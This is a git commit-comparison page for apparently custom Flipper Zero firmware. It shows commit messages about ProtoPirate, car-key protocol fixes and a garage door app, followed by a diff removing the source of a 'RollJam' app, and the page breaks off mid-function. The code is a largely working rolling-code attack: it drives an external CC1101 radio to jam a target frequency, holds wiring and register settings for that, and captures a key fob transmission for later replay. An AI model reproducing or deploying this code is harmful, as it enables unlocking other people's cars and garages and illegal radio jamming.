Compare commits

..

13 Commits

Author SHA1 Message Date
d4rks1d33 46d7e1263c Updated ProtoPirate, new Zero-Mega version (amazing updates)
Build Dev Firmware / build (push) Successful in 17m44s
2026-06-30 20:47:24 -03:00
d4rks1d33 426607f916 Thanks AussieMike for renaming Garage Door App, thanks to this ProtoPirate NOW is working!
Build Dev Firmware / build (push) Successful in 18m26s
2026-06-29 21:47:52 -03:00
d4rks1d33 5badcb6143 Fxck! 2.0 RollJam works + emulation only AM protocols -- ProtoPirate has the same base issue so when I finish fixing RollJam FM emulation should be able to replicate the fix into ProtoPirate
Build Dev Firmware / build (push) Failing after 14m51s
2026-06-27 00:59:44 -03:00
d4rks1d33 7ebd996eed Fxck! 2.0
Build Dev Firmware / build (push) Successful in 16m53s
2026-06-26 00:52:09 -03:00
d4rks1d33 e89b329b54 Fxck!
Build Dev Firmware / build (push) Failing after 14m46s
2026-06-25 20:22:59 -03:00
d4rks1d33 d490cfa8f4 pls work
Build Dev Firmware / build (push) Failing after 41s
2026-06-25 20:19:38 -03:00
d4rks1d33 abf0d8ca78 fixes 2026-06-25 20:14:09 -03:00
d4rks1d33 7f7022b960 Details
Build Dev Firmware / build (push) Failing after 42s
2026-06-25 01:44:50 -03:00
d4rks1d33 3a63e14399 Two new apps on SubGhz: Garage Door Remote (ProtoPirate for garage doors and gates, pretty much that), and RollJam (it works now, the only problem is that it doesn't emulate saved signals, but RollJam itself works...minor fixes). Big kudos to Zero-Mega who helped with both apps! 2026-06-25 01:38:16 -03:00
d4rks1d33 99ac826a49 Added script to easily add new tables to modulation hopping (depending on which specific modulation you want to use)
Build Dev Firmware / build (push) Successful in 17m30s
2026-06-13 17:12:39 -03:00
d4rks1d33 a3698f93a9 Improvements in modulation hopping. Thanks Zero-Mega
Build Dev Firmware / build (push) Successful in 16m28s
2026-06-13 16:56:02 -03:00
d4rks1d33 94dcc82483 Official Flipper Mobile APP is now working
Build Dev Firmware / build (push) Successful in 16m58s
2026-06-12 22:36:08 -03:00
d4rks1d33 9b7499be36 Fix kia v3/v4/v5
Build Dev Firmware / build (push) Successful in 17m16s
2026-06-12 20:59:48 -03:00
574 changed files with 98341 additions and 16244 deletions
-23
View File
@@ -1,23 +0,0 @@
App(
appid="rolljam",
name="RollJam",
apptype=FlipperAppType.MENUEXTERNAL,
entry_point="rolljam_app",
stack_size=4 * 1024,
fap_category="Sub-GHz",
fap_icon="rolljam.png",
fap_icon_assets="images",
fap_libs=["assets"],
fap_description="RollJam rolling code attack tool",
fap_author="@user",
fap_version="1.0",
fap_weburl="",
requires=[
"gui",
"subghz",
"notification",
"storage",
"dialogs",
],
provides=[],
)
@@ -1,521 +0,0 @@
#include "rolljam_cc1101_ext.h"
#include <furi_hal_gpio.h>
#include <furi_hal_resources.h>
#include <furi_hal_cortex.h>
#include <furi_hal_power.h>
// ============================================================
// 5V OTG power
// ============================================================
static bool otg_was_enabled = false;
static bool use_flux_capacitor = false;
void rolljam_ext_set_flux_capacitor(bool enabled) {
use_flux_capacitor = enabled;
}
static void rolljam_ext_power_on(void) {
otg_was_enabled = furi_hal_power_is_otg_enabled();
if(!otg_was_enabled) {
uint8_t attempts = 0;
while(!furi_hal_power_is_otg_enabled() && attempts++ < 5) {
furi_hal_power_enable_otg();
furi_delay_ms(10);
}
}
}
static void rolljam_ext_power_off(void) {
if(!otg_was_enabled) {
furi_hal_power_disable_otg();
}
}
static const GpioPin* pin_mosi = &gpio_ext_pa7;
static const GpioPin* pin_miso = &gpio_ext_pa6;
static const GpioPin* pin_cs = &gpio_ext_pa4;
static const GpioPin* pin_sck = &gpio_ext_pb3;
static const GpioPin* pin_gdo0 = &gpio_ext_pb2;
static const GpioPin* pin_amp = &gpio_ext_pc3;
// ============================================================
// CC1101 Registers
// ============================================================
#define CC_IOCFG2 0x00
#define CC_IOCFG0 0x02
#define CC_FIFOTHR 0x03
#define CC_SYNC1 0x04
#define CC_SYNC0 0x05
#define CC_PKTLEN 0x06
#define CC_PKTCTRL1 0x07
#define CC_PKTCTRL0 0x08
#define CC_FSCTRL1 0x0B
#define CC_FSCTRL0 0x0C
#define CC_FREQ2 0x0D
#define CC_FREQ1 0x0E
#define CC_FREQ0 0x0F
#define CC_MDMCFG4 0x10
#define CC_MDMCFG3 0x11
#define CC_MDMCFG2 0x12
#define CC_MDMCFG1 0x13
#define CC_MDMCFG0 0x14
#define CC_DEVIATN 0x15
#define CC_MCSM1 0x17
#define CC_MCSM0 0x18
#define CC_FOCCFG 0x19
#define CC_AGCCTRL2 0x1B
#define CC_AGCCTRL1 0x1C
#define CC_AGCCTRL0 0x1D
#define CC_FREND0 0x22
#define CC_FSCAL3 0x23
#define CC_FSCAL2 0x24
#define CC_FSCAL1 0x25
#define CC_FSCAL0 0x26
#define CC_TEST2 0x2C
#define CC_TEST1 0x2D
#define CC_TEST0 0x2E
#define CC_PATABLE 0x3E
#define CC_TXFIFO 0x3F
#define CC_PARTNUM 0x30
#define CC_VERSION 0x31
#define CC_MARCSTATE 0x35
#define CC_TXBYTES 0x3A
#define CC_SRES 0x30
#define CC_SCAL 0x33
#define CC_STX 0x35
#define CC_SIDLE 0x36
#define CC_SFTX 0x3B
#define MARC_IDLE 0x01
#define MARC_TX 0x13
// ============================================================
// Band calibration
// ============================================================
typedef struct {
uint32_t min_freq;
uint32_t max_freq;
uint8_t fscal3;
uint8_t fscal2;
uint8_t fscal1;
uint8_t fscal0;
} ExtBandCal;
static const ExtBandCal ext_band_cals[] = {
{ 299000000, 348000000, 0xEA, 0x2A, 0x00, 0x1F },
{ 386000000, 464000000, 0xE9, 0x2A, 0x00, 0x1F },
{ 778000000, 928000000, 0xEA, 0x2A, 0x00, 0x11 },
};
#define EXT_BAND_CAL_COUNT (sizeof(ext_band_cals) / sizeof(ext_band_cals[0]))
static const ExtBandCal* ext_get_band_cal(uint32_t freq) {
for(size_t i = 0; i < EXT_BAND_CAL_COUNT; i++) {
if(freq >= ext_band_cals[i].min_freq && freq <= ext_band_cals[i].max_freq)
return &ext_band_cals[i];
}
return &ext_band_cals[1];
}
static inline void spi_delay(void) {
for(int i = 0; i < 16; i++) __NOP();
}
static inline void cs_lo(void) { furi_hal_gpio_write(pin_cs, false); spi_delay(); }
static inline void cs_hi(void) { spi_delay(); furi_hal_gpio_write(pin_cs, true); spi_delay(); }
static bool wait_miso(uint32_t us) {
CoreDebug->DEMCR |= CoreDebug_DEMCR_TRCENA_Msk;
DWT->CTRL |= DWT_CTRL_CYCCNTENA_Msk;
uint32_t s = DWT->CYCCNT;
uint32_t t = (SystemCoreClock / 1000000) * us;
while(furi_hal_gpio_read(pin_miso)) {
if((DWT->CYCCNT - s) > t) return false;
}
return true;
}
static uint8_t spi_byte(uint8_t tx) {
uint8_t rx = 0;
for(int8_t i = 7; i >= 0; i--) {
furi_hal_gpio_write(pin_mosi, (tx >> i) & 0x01);
spi_delay();
furi_hal_gpio_write(pin_sck, true);
spi_delay();
if(furi_hal_gpio_read(pin_miso)) rx |= (1 << i);
furi_hal_gpio_write(pin_sck, false);
spi_delay();
}
return rx;
}
static uint8_t cc_strobe(uint8_t cmd) {
cs_lo();
if(!wait_miso(5000)) { cs_hi(); return 0xFF; }
uint8_t s = spi_byte(cmd);
cs_hi();
return s;
}
static void cc_write(uint8_t a, uint8_t v) {
cs_lo();
if(!wait_miso(5000)) { cs_hi(); return; }
spi_byte(a); spi_byte(v);
cs_hi();
}
static uint8_t cc_read_status(uint8_t a) {
cs_lo();
if(!wait_miso(5000)) { cs_hi(); return 0xFF; }
spi_byte(a | 0xC0);
uint8_t v = spi_byte(0x00);
cs_hi();
return v;
}
static void cc_write_burst(uint8_t a, const uint8_t* d, uint8_t n) {
cs_lo();
if(!wait_miso(5000)) { cs_hi(); return; }
spi_byte(a | 0x40);
for(uint8_t i = 0; i < n; i++) spi_byte(d[i]);
cs_hi();
}
static bool cc_reset(void) {
cs_hi(); furi_delay_us(30);
cs_lo(); furi_delay_us(30);
cs_hi(); furi_delay_us(50);
cs_lo();
if(!wait_miso(10000)) { cs_hi(); return false; }
spi_byte(CC_SRES);
if(!wait_miso(100000)) { cs_hi(); return false; }
cs_hi();
furi_delay_ms(5);
FURI_LOG_I(TAG, "EXT: Reset OK");
return true;
}
static bool cc_check(void) {
uint8_t p = cc_read_status(CC_PARTNUM);
uint8_t v = cc_read_status(CC_VERSION);
FURI_LOG_I(TAG, "EXT: PART=0x%02X VER=0x%02X", p, v);
return (v == 0x14 || v == 0x04 || v == 0x03);
}
static uint8_t cc_state(void) { return cc_read_status(CC_MARCSTATE) & 0x1F; }
static uint8_t cc_txbytes(void) { return cc_read_status(CC_TXBYTES) & 0x7F; }
static void cc_idle(void) {
cc_strobe(CC_SIDLE);
for(int i = 0; i < 500; i++) {
if(cc_state() == MARC_IDLE) return;
furi_delay_us(50);
}
}
static void cc_set_freq(uint32_t f) {
uint32_t r = (uint32_t)(((uint64_t)f << 16) / 26000000ULL);
cc_write(CC_FREQ2, (r >> 16) & 0xFF);
cc_write(CC_FREQ1, (r >> 8) & 0xFF);
cc_write(CC_FREQ0, r & 0xFF);
}
static bool cc_configure_jam(uint32_t freq) {
const ExtBandCal* cal = ext_get_band_cal(freq);
FURI_LOG_I(TAG, "EXT: Config OOK jam at %lu Hz", freq);
cc_idle();
cc_write(CC_IOCFG0, 0x02);
cc_write(CC_IOCFG2, 0x2F);
cc_write(CC_PKTCTRL0, 0x00);
cc_write(CC_PKTCTRL1, 0x00);
cc_write(CC_PKTLEN, 0xFF);
cc_write(CC_FIFOTHR, 0x07);
cc_write(CC_SYNC1, 0x00);
cc_write(CC_SYNC0, 0x00);
cc_set_freq(freq);
cc_write(CC_FSCTRL1, 0x06);
cc_write(CC_FSCTRL0, 0x00);
cc_write(CC_MDMCFG4, 0x85);
cc_write(CC_MDMCFG3, 0x43);
cc_write(CC_MDMCFG2, 0x30);
cc_write(CC_MDMCFG1, 0x00);
cc_write(CC_MDMCFG0, 0xF8);
cc_write(CC_DEVIATN, 0x47);
cc_write(CC_MCSM1, 0x00);
cc_write(CC_MCSM0, 0x18);
cc_write(CC_FREND0, 0x11);
uint8_t pa[8] = {0x00,0xC0,0xC0,0xC0,0xC0,0xC0,0xC0,0xC0};
cc_write_burst(CC_PATABLE, pa, 8);
cc_write(CC_FSCAL3, cal->fscal3);
cc_write(CC_FSCAL2, cal->fscal2);
cc_write(CC_FSCAL1, cal->fscal1);
cc_write(CC_FSCAL0, cal->fscal0);
cc_write(CC_TEST2, 0x81);
cc_write(CC_TEST1, 0x35);
cc_write(CC_TEST0, 0x09);
cc_idle();
cc_strobe(CC_SCAL);
furi_delay_ms(2);
cc_idle();
uint8_t st = cc_state();
FURI_LOG_I(TAG, "EXT: state=0x%02X FSCAL={0x%02X,0x%02X,0x%02X,0x%02X}",
st, cal->fscal3, cal->fscal2, cal->fscal1, cal->fscal0);
return (st == MARC_IDLE);
}
static bool cc_configure_jam_fsk(uint32_t freq, bool wide) {
const ExtBandCal* cal = ext_get_band_cal(freq);
FURI_LOG_I(TAG, "EXT: Config FSK jam at %lu Hz (wide=%d)", freq, wide);
cc_idle();
cc_write(CC_IOCFG0, 0x02);
cc_write(CC_IOCFG2, 0x2F);
cc_write(CC_PKTCTRL0, 0x00);
cc_write(CC_PKTCTRL1, 0x00);
cc_write(CC_PKTLEN, 0xFF);
cc_write(CC_FIFOTHR, 0x07);
cc_write(CC_SYNC1, 0x00);
cc_write(CC_SYNC0, 0x00);
cc_set_freq(freq);
cc_write(CC_FSCTRL1, 0x06);
cc_write(CC_FSCTRL0, 0x00);
cc_write(CC_MDMCFG4, 0x85);
cc_write(CC_MDMCFG3, 0x43);
cc_write(CC_MDMCFG2, 0x00);
cc_write(CC_MDMCFG1, 0x00);
cc_write(CC_MDMCFG0, 0xF8);
cc_write(CC_DEVIATN, wide ? 0x47 : 0x15);
cc_write(CC_MCSM1, 0x00);
cc_write(CC_MCSM0, 0x18);
cc_write(CC_FREND0, 0x10);
uint8_t pa[8] = {0xC0,0xC0,0xC0,0xC0,0xC0,0xC0,0xC0,0xC0};
cc_write_burst(CC_PATABLE, pa, 8);
cc_write(CC_FSCAL3, cal->fscal3);
cc_write(CC_FSCAL2, cal->fscal2);
cc_write(CC_FSCAL1, cal->fscal1);
cc_write(CC_FSCAL0, cal->fscal0);
cc_write(CC_TEST2, 0x81);
cc_write(CC_TEST1, 0x35);
cc_write(CC_TEST0, 0x09);
cc_idle();
cc_strobe(CC_SCAL);
furi_delay_ms(2);
cc_idle();
return (cc_state() == MARC_IDLE);
}
static void ext_gpio_init_spi_pins(void) {
furi_hal_gpio_init(pin_cs, GpioModeOutputPushPull, GpioPullNo, GpioSpeedVeryHigh);
furi_hal_gpio_write(pin_cs, true);
furi_hal_gpio_init(pin_sck, GpioModeOutputPushPull, GpioPullNo, GpioSpeedVeryHigh);
furi_hal_gpio_write(pin_sck, false);
furi_hal_gpio_init(pin_mosi, GpioModeOutputPushPull, GpioPullNo, GpioSpeedVeryHigh);
furi_hal_gpio_write(pin_mosi, false);
furi_hal_gpio_init(pin_miso, GpioModeInput, GpioPullUp, GpioSpeedVeryHigh);
furi_hal_gpio_init(pin_gdo0, GpioModeInput, GpioPullDown, GpioSpeedVeryHigh);
}
static void ext_gpio_deinit_spi_pins(void) {
furi_hal_gpio_init(pin_cs, GpioModeAnalog, GpioPullNo, GpioSpeedLow);
furi_hal_gpio_init(pin_sck, GpioModeAnalog, GpioPullNo, GpioSpeedLow);
furi_hal_gpio_init(pin_mosi, GpioModeAnalog, GpioPullNo, GpioSpeedLow);
furi_hal_gpio_init(pin_miso, GpioModeAnalog, GpioPullNo, GpioSpeedLow);
furi_hal_gpio_init(pin_gdo0, GpioModeAnalog, GpioPullNo, GpioSpeedLow);
}
void rolljam_ext_gpio_init(void) {
FURI_LOG_I(TAG, "EXT GPIO init (deferred to jam thread)");
if(use_flux_capacitor) {
furi_hal_gpio_init_simple(pin_amp, GpioModeOutputPushPull);
furi_hal_gpio_write(pin_amp, false);
}
}
void rolljam_ext_gpio_deinit(void) {
if(use_flux_capacitor) {
furi_hal_gpio_write(pin_amp, false);
furi_hal_gpio_init_simple(pin_amp, GpioModeAnalog);
}
FURI_LOG_I(TAG, "EXT GPIO deinit");
}
// ============================================================
// Noise pattern & jam helpers
// ============================================================
static void jam_start_tx(const uint8_t* pattern, uint8_t len) {
cc_strobe(CC_SFTX);
furi_delay_ms(1);
cc_write_burst(CC_TXFIFO, pattern, len);
cc_strobe(CC_STX);
furi_delay_ms(5);
}
static int32_t jam_thread_worker(void* context) {
RollJamApp* app = context;
bool is_fsk = (app->mod_index == ModIndex_FM238 || app->mod_index == ModIndex_FM476);
uint32_t freq_pos = app->frequency + app->jam_offset_hz;
uint32_t freq_neg = app->frequency - app->jam_offset_hz;
FURI_LOG_I(TAG, "JAM thread start: target=%lu offset=%lu FSK=%d",
app->frequency, app->jam_offset_hz, is_fsk);
ext_gpio_init_spi_pins();
furi_delay_ms(5);
if(!cc_reset()) {
FURI_LOG_E(TAG, "JAM: Reset failed — CC1101 externo no conectado o mal cableado");
ext_gpio_deinit_spi_pins();
app->jamming_active = false;
return -1;
}
if(!cc_check()) {
FURI_LOG_E(TAG, "JAM: Chip no detectado");
ext_gpio_deinit_spi_pins();
app->jamming_active = false;
return -1;
}
bool jam_ok;
if(app->mod_index == ModIndex_FM238)
jam_ok = cc_configure_jam_fsk(freq_pos, false);
else if(app->mod_index == ModIndex_FM476)
jam_ok = cc_configure_jam_fsk(freq_pos, true);
else
jam_ok = cc_configure_jam(freq_pos);
if(!jam_ok) {
FURI_LOG_E(TAG, "JAM: Config failed");
ext_gpio_deinit_spi_pins();
app->jamming_active = false;
return -1;
}
static const uint8_t noise_pattern[62] = {
0xAA,0x55,0xAA,0x55,0xAA,0x55,0xAA,0x55,
0xAA,0x55,0xAA,0x55,0xAA,0x55,0xAA,0x55,
0xAA,0x55,0xAA,0x55,0xAA,0x55,0xAA,0x55,
0xAA,0x55,0xAA,0x55,0xAA,0x55,0xAA,0x55,
0xAA,0x55,0xAA,0x55,0xAA,0x55,0xAA,0x55,
0xAA,0x55,0xAA,0x55,0xAA,0x55,0xAA,0x55,
0xAA,0x55,0xAA,0x55,0xAA,0x55,0xAA,0x55,
0xAA,0x55
};
if(use_flux_capacitor) furi_hal_gpio_write(pin_amp, true);
jam_start_tx(noise_pattern, 62);
uint8_t st = cc_state();
if(st != MARC_TX) {
cc_idle();
jam_start_tx(noise_pattern, 62);
st = cc_state();
if(st != MARC_TX) {
FURI_LOG_E(TAG, "JAM: Cannot enter TX (state=0x%02X)", st);
if(use_flux_capacitor) furi_hal_gpio_write(pin_amp, false);
ext_gpio_deinit_spi_pins();
app->jamming_active = false;
return -1;
}
}
FURI_LOG_I(TAG, "JAM: *** ACTIVE *** freq_pos=%lu", freq_pos);
uint32_t loops = 0;
uint32_t underflows = 0;
uint32_t refills = 0;
bool on_pos = true;
while(app->jam_thread_running) {
loops++;
if(is_fsk && (loops % 4 == 0)) {
cc_idle();
cc_strobe(CC_SFTX);
furi_delay_us(100);
on_pos = !on_pos;
cc_set_freq(on_pos ? freq_pos : freq_neg);
cc_write_burst(CC_TXFIFO, noise_pattern, 62);
cc_strobe(CC_STX);
furi_delay_ms(1);
continue;
}
st = cc_state();
if(st != MARC_TX) {
underflows++;
cc_idle();
cc_strobe(CC_SFTX);
furi_delay_us(100);
cc_write_burst(CC_TXFIFO, noise_pattern, 62);
cc_strobe(CC_STX);
furi_delay_ms(1);
continue;
}
uint8_t txb = cc_txbytes();
if(txb < 20) {
uint8_t space = 62 - txb;
if(space > 50) space = 50;
cc_write_burst(CC_TXFIFO, noise_pattern, space);
refills++;
}
if(loops % 500 == 0) {
FURI_LOG_I(TAG, "JAM: loops=%lu uf=%lu refills=%lu txb=%d",
loops, underflows, refills, cc_txbytes());
}
furi_delay_ms(50);
}
cc_idle();
if(use_flux_capacitor) furi_hal_gpio_write(pin_amp, false);
cc_write(CC_IOCFG2, 0x2E);
ext_gpio_deinit_spi_pins();
FURI_LOG_I(TAG, "JAM: STOPPED (loops=%lu uf=%lu refills=%lu)", loops, underflows, refills);
return 0;
}
// ============================================================
// Public API
// ============================================================
void rolljam_jammer_start(RollJamApp* app) {
if(app->jamming_active) return;
app->jam_frequency = app->frequency + app->jam_offset_hz;
app->jam_thread_running = true;
app->jamming_active = true;
rolljam_ext_power_on();
furi_delay_ms(50);
rolljam_ext_gpio_init();
app->jam_thread = furi_thread_alloc_ex("RJ_Jam", 4096, jam_thread_worker, app);
furi_thread_start(app->jam_thread);
FURI_LOG_I(TAG, ">>> JAMMER THREAD STARTED <<<");
}
void rolljam_jammer_stop(RollJamApp* app) {
if(!app->jamming_active) return;
app->jam_thread_running = false;
furi_thread_join(app->jam_thread);
furi_thread_free(app->jam_thread);
app->jam_thread = NULL;
rolljam_ext_gpio_deinit();
rolljam_ext_power_off();
app->jamming_active = false;
FURI_LOG_I(TAG, ">>> JAMMER STOPPED <<<");
}
@@ -1,23 +0,0 @@
#pragma once
#include "../rolljam.h"
/*
* External CC1101 module connected via GPIO (bit-bang SPI).
* Used EXCLUSIVELY for JAMMING (TX).
*
* Wiring (as connected):
* CC1101 VCC -> Flipper Pin 9 (3V3)
* CC1101 GND -> Flipper Pin 11 (GND)
* CC1101 MOSI -> Flipper Pin 2 (PA7)
* CC1101 MISO -> Flipper Pin 3 (PA6)
* CC1101 SCK -> Flipper Pin 5 (PB3)
* CC1101 CS -> Flipper Pin 4 (PA4)
* CC1101 GDO0 -> Flipper Pin 6 (PB2)
*/
void rolljam_ext_gpio_init(void);
void rolljam_ext_set_flux_capacitor(bool enabled);
void rolljam_ext_gpio_deinit(void);
void rolljam_jammer_start(RollJamApp* app);
void rolljam_jammer_stop(RollJamApp* app);
@@ -1,689 +0,0 @@
#include "rolljam_receiver.h"
#include <furi_hal_subghz.h>
#include <furi_hal_rtc.h>
#define CC_IOCFG0 0x02
#define CC_FIFOTHR 0x03
#define CC_MDMCFG4 0x10
#define CC_MDMCFG3 0x11
#define CC_MDMCFG2 0x12
#define CC_MDMCFG1 0x13
#define CC_MDMCFG0 0x14
#define CC_DEVIATN 0x15
#define CC_MCSM0 0x18
#define CC_FOCCFG 0x19
#define CC_AGCCTRL2 0x1B
#define CC_AGCCTRL1 0x1C
#define CC_AGCCTRL0 0x1D
#define CC_FREND0 0x22
#define CC_FSCAL3 0x23
#define CC_FSCAL2 0x24
#define CC_FSCAL1 0x25
#define CC_FSCAL0 0x26
#define CC_PKTCTRL0 0x08
#define CC_PKTCTRL1 0x07
#define CC_FSCTRL1 0x0B
#define CC_WORCTRL 0x20
#define CC_FREND1 0x21
// OOK 650kHz
static const uint8_t preset_ook_650_async[] = {
CC_IOCFG0, 0x0D,
CC_FIFOTHR, 0x07,
CC_PKTCTRL0, 0x32,
CC_FSCTRL1, 0x06,
CC_MDMCFG0, 0x00,
CC_MDMCFG1, 0x00,
CC_MDMCFG2, 0x30,
CC_MDMCFG3, 0x32,
CC_MDMCFG4, 0x17,
CC_MCSM0, 0x18,
CC_FOCCFG, 0x18,
CC_AGCCTRL0, 0x91,
CC_AGCCTRL1, 0x00,
CC_AGCCTRL2, 0x07,
CC_WORCTRL, 0xFB,
CC_FREND0, 0x11,
CC_FREND1, 0xB6,
0x00, 0x00,
0x00, 0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
};
// OOK 270kHz
static const uint8_t preset_ook_270_async[] = {
CC_IOCFG0, 0x0D,
CC_FIFOTHR, 0x47,
CC_PKTCTRL0, 0x32,
CC_FSCTRL1, 0x06,
CC_MDMCFG0, 0x00,
CC_MDMCFG1, 0x00,
CC_MDMCFG2, 0x30,
CC_MDMCFG3, 0x32,
CC_MDMCFG4, 0x67,
CC_MCSM0, 0x18,
CC_FOCCFG, 0x18,
CC_AGCCTRL0, 0x40,
CC_AGCCTRL1, 0x00,
CC_AGCCTRL2, 0x03,
CC_WORCTRL, 0xFB,
CC_FREND0, 0x11,
CC_FREND1, 0xB6,
0x00, 0x00,
0x00, 0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
};
// 2FSK Dev 2.38kHz
static const uint8_t preset_2fsk_238_async[] = {
CC_IOCFG0, 0x0D,
CC_FIFOTHR, 0x47,
CC_PKTCTRL0, 0x32,
CC_FSCTRL1, 0x06,
CC_MDMCFG0, 0x00,
CC_MDMCFG1, 0x00,
CC_MDMCFG2, 0x00,
CC_MDMCFG3, 0x75,
CC_MDMCFG4, 0x57,
CC_DEVIATN, 0x15,
CC_MCSM0, 0x18,
CC_FOCCFG, 0x16,
CC_AGCCTRL0, 0x91,
CC_AGCCTRL1, 0x00,
CC_AGCCTRL2, 0x07,
CC_WORCTRL, 0xFB,
CC_FREND0, 0x10,
CC_FREND1, 0xB6,
0x00, 0x00,
0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
};
// 2FSK Dev 47.6kHz
static const uint8_t preset_2fsk_476_async[] = {
CC_IOCFG0, 0x0D,
CC_FIFOTHR, 0x47,
CC_PKTCTRL0, 0x32,
CC_FSCTRL1, 0x06,
CC_MDMCFG0, 0x00,
CC_MDMCFG1, 0x00,
CC_MDMCFG2, 0x00,
CC_MDMCFG3, 0x75,
CC_MDMCFG4, 0x57,
CC_DEVIATN, 0x47,
CC_MCSM0, 0x18,
CC_FOCCFG, 0x16,
CC_AGCCTRL0, 0x91,
CC_AGCCTRL1, 0x00,
CC_AGCCTRL2, 0x07,
CC_WORCTRL, 0xFB,
CC_FREND0, 0x10,
CC_FREND1, 0xB6,
0x00, 0x00,
0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
};
// TX OOK
static const uint8_t preset_ook_tx[] = {
CC_IOCFG0, 0x0D,
CC_FIFOTHR, 0x07,
CC_PKTCTRL0, 0x32,
CC_FSCTRL1, 0x06,
CC_MDMCFG0, 0x00,
CC_MDMCFG1, 0x00,
CC_MDMCFG2, 0x30,
CC_MDMCFG3, 0x32,
CC_MDMCFG4, 0x17,
CC_MCSM0, 0x18,
CC_FOCCFG, 0x18,
CC_AGCCTRL0, 0x91,
CC_AGCCTRL1, 0x00,
CC_AGCCTRL2, 0x07,
CC_WORCTRL, 0xFB,
CC_FREND0, 0x11,
CC_FREND1, 0xB6,
0x00, 0x00,
0x00, 0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
};
static const uint8_t preset_fsk_tx_238[] = {
CC_IOCFG0, 0x0D,
CC_FIFOTHR, 0x47,
CC_PKTCTRL0, 0x32,
CC_FSCTRL1, 0x06,
CC_MDMCFG0, 0x00,
CC_MDMCFG1, 0x00,
CC_MDMCFG2, 0x00,
CC_MDMCFG3, 0x75,
CC_MDMCFG4, 0x57,
CC_DEVIATN, 0x15,
CC_MCSM0, 0x18,
CC_FOCCFG, 0x16,
CC_AGCCTRL0, 0x91,
CC_AGCCTRL1, 0x00,
CC_AGCCTRL2, 0x07,
CC_WORCTRL, 0xFB,
CC_FREND0, 0x10,
CC_FREND1, 0xB6,
0x00, 0x00,
0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
};
static const uint8_t preset_fsk_tx_476[] = {
CC_IOCFG0, 0x0D,
CC_FIFOTHR, 0x47,
CC_PKTCTRL0, 0x32,
CC_FSCTRL1, 0x06,
CC_MDMCFG0, 0x00,
CC_MDMCFG1, 0x00,
CC_MDMCFG2, 0x00,
CC_MDMCFG3, 0x75,
CC_MDMCFG4, 0x57,
CC_DEVIATN, 0x47,
CC_MCSM0, 0x18,
CC_FOCCFG, 0x16,
CC_AGCCTRL0, 0x91,
CC_AGCCTRL1, 0x00,
CC_AGCCTRL2, 0x07,
CC_WORCTRL, 0xFB,
CC_FREND0, 0x10,
CC_FREND1, 0xB6,
0x00, 0x00,
0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
};
// ============================================================
// Capture state machine
// ============================================================
#define MIN_PULSE_US 100
#define MAX_PULSE_US 32767
#define SILENCE_GAP_US 50000
#define MIN_FRAME_PULSES 40
#define AUTO_ACCEPT_PULSES 300
#define MAX_CONTINUOUS_SAMPLES 800
static bool rolljam_is_jammer_pattern_mod(RawSignal* s, uint8_t mod_index) {
if(s->size < 20) return false;
// Calcular estadísticas una sola vez
int16_t max_abs = 0;
int64_t sum = 0;
for(size_t i = 0; i < s->size; i++) {
int16_t v = s->data[i] > 0 ? s->data[i] : -s->data[i];
if(v > max_abs) max_abs = v;
sum += v;
}
int32_t mean = (int32_t)(sum / (int64_t)s->size);
FURI_LOG_D(TAG, "JamCheck: mod=%d max=%d mean=%ld size=%d",
mod_index, max_abs, mean, (int)s->size);
if(mod_index == 2 || mod_index == 3) { // ModIndex_FM238=2, FM476=3
if((int)s->size < 120) {
FURI_LOG_W(TAG, "Jammer FSK rechazado: size=%d < 120", (int)s->size);
return true;
}
return false;
}
if(max_abs < 25000) {
FURI_LOG_W(TAG, "Jammer AM650 rechazado: max=%d < 25000", max_abs);
return true;
}
if(mod_index == 1) { // ModIndex_AM270=1
if(mean < 3000) {
FURI_LOG_W(TAG, "Jammer AM270 rechazado: mean=%ld < 3000 (max=%d)", mean, max_abs);
return true;
}
}
return false;
}
#define MIN_VARIANCE 2000
static bool rolljam_has_sufficient_variance(RawSignal* s) {
if(s->size < 20) return false;
int64_t sum = 0;
for(size_t i = 0; i < s->size; i++) {
int16_t val = s->data[i];
sum += (val > 0) ? val : -val;
}
int32_t mean = (int32_t)(sum / (int64_t)s->size);
int64_t var_sum = 0;
for(size_t i = 0; i < s->size; i++) {
int16_t val = s->data[i];
int32_t abs_val = (val > 0) ? val : -val;
int32_t diff = abs_val - mean;
var_sum += (int64_t)diff * diff;
}
int32_t variance = (int32_t)(var_sum / (int64_t)s->size);
bool has_var = (variance > MIN_VARIANCE);
FURI_LOG_I(TAG, "Variance: mean=%ld var=%ld %s",
mean, variance, has_var ? "PASS" : "FAIL");
return has_var;
}
typedef enum {
CapWaiting,
CapRecording,
CapDone,
} CapState;
typedef struct {
volatile CapState state;
volatile int valid_count;
volatile int total_count;
volatile bool target_first;
volatile uint32_t callback_count;
volatile uint32_t continuous_count;
float rssi_baseline;
uint8_t mod_index;
} CapCtx;
static CapCtx g_cap;
static void cap_ctx_reset(CapCtx* c) {
c->state = CapWaiting;
c->valid_count = 0;
c->total_count = 0;
c->callback_count = 0;
c->continuous_count = 0;
}
static void capture_rx_callback(bool level, uint32_t duration, void* context) {
RollJamApp* app = context;
if(!app->raw_capture_active) return;
if(g_cap.state == CapDone) return;
g_cap.callback_count++;
RawSignal* target = g_cap.target_first ? &app->signal_first : &app->signal_second;
if(target->valid) return;
uint32_t dur = duration;
bool is_silence = (dur > SILENCE_GAP_US);
bool is_medium_gap = (dur > 5000 && dur <= SILENCE_GAP_US);
if(dur > 32767) dur = 32767;
switch(g_cap.state) {
case CapWaiting:
g_cap.continuous_count = 0;
if(dur >= MIN_PULSE_US && dur <= MAX_PULSE_US && !is_silence) {
target->size = 0;
g_cap.valid_count = 0;
g_cap.total_count = 0;
g_cap.state = CapRecording;
int16_t s = level ? (int16_t)dur : -(int16_t)dur;
target->data[target->size++] = s;
g_cap.valid_count++;
g_cap.total_count++;
g_cap.continuous_count = 1;
}
break;
case CapRecording:
g_cap.continuous_count++;
if(g_cap.continuous_count > MAX_CONTINUOUS_SAMPLES && !is_medium_gap && !is_silence) {
target->size = 0;
cap_ctx_reset(&g_cap);
return;
}
if(target->size >= RAW_SIGNAL_MAX_SIZE) {
g_cap.state = (g_cap.valid_count >= MIN_FRAME_PULSES) ? CapDone : CapWaiting;
if(g_cap.state == CapWaiting) {
target->size = 0;
